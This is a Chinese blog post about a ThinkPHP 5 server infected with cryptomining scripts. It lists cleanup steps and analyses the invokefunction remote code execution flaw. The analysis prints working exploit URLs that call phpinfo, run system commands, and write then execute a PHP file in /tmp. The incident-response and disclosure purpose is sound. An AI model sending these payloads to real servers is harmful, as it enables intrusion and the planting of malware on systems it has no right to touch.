tp5官网修复提醒:https://blog.thinkphp.cn/869075

在上午的时候,我这边一个服务器突然发现cpu 200%的情况,大致情况如下

这只是一个普通的服务器,流量也不大.但是cpu进行了超负荷运转.

通过检查php运行的进程.发现在临时文件有个异常的脚本

通过打开临时文件目录.发现一堆木马,

这就是导致cpu负载过高,因为这是一堆挖矿的脚本.

解决办法:

1:ps aux |grep php 找到对应进程杀死

2:官网更新补丁

3:删除tmp残留的木马和脚本

4:项目安装包权限尽可能给到最小

脚本攻击原理分析

主要原因:thinkphp的app.php没有对url传入的控制器函数进行特殊字符过滤;

然后可以直接调用think\app/invokefunction函数,然后传入回调进行脚本攻击

tp框架中的invokefunction函数

 /**
     * 执行函数或者闭包方法 支持参数调用
     * @access public
     * @param string|array|\Closure $function 函数或者闭包
     * @param array                 $vars     变量
     * @return mixed
     */
    public static function invokeFunction($function, $vars = [])
    {
        $reflect = new \ReflectionFunction($function);
        $args    = self::bindParams($reflect, $vars);

        // 记录执行信息
        self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');
        return $reflect->invokeArgs($args);
    }

//调用php系统信息

http://yxx.com?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

//调用linux指令

http://yxx.com/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls -al

//注入脚本文件

http://yxx.com/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=/tmp/test.php&&vars[1][]=<?php echo ‘this is bug’;?>

注入脚本,并执行

第一步(在临时目录写入脚本)

http://yxx.com/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=/tmp/test.php&vars[1][]%E2%80%8B=%3C?php%20for($i%20=%200;$i%3C2;$i%2B%2B)%20{file_put_contents(%27/tmp/%27.$i.%27.log%27,%27this%20is%20bug%27);}?%3E

执行以后我们打开/tmp可见

由此可见脚本注入成功

打开/tmp/test.php

注入内容ok

第二步执行脚本

http://yxx.com/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php /tmp/test.php

脚本执行成功可见

以上测试均在本地环境

这就是thinkphp5框架漏洞可引起的问题,由此如果有挖矿的脚本,植入进来就会导致服务器超负荷运转

发表评论

电子邮件地址不会被公开。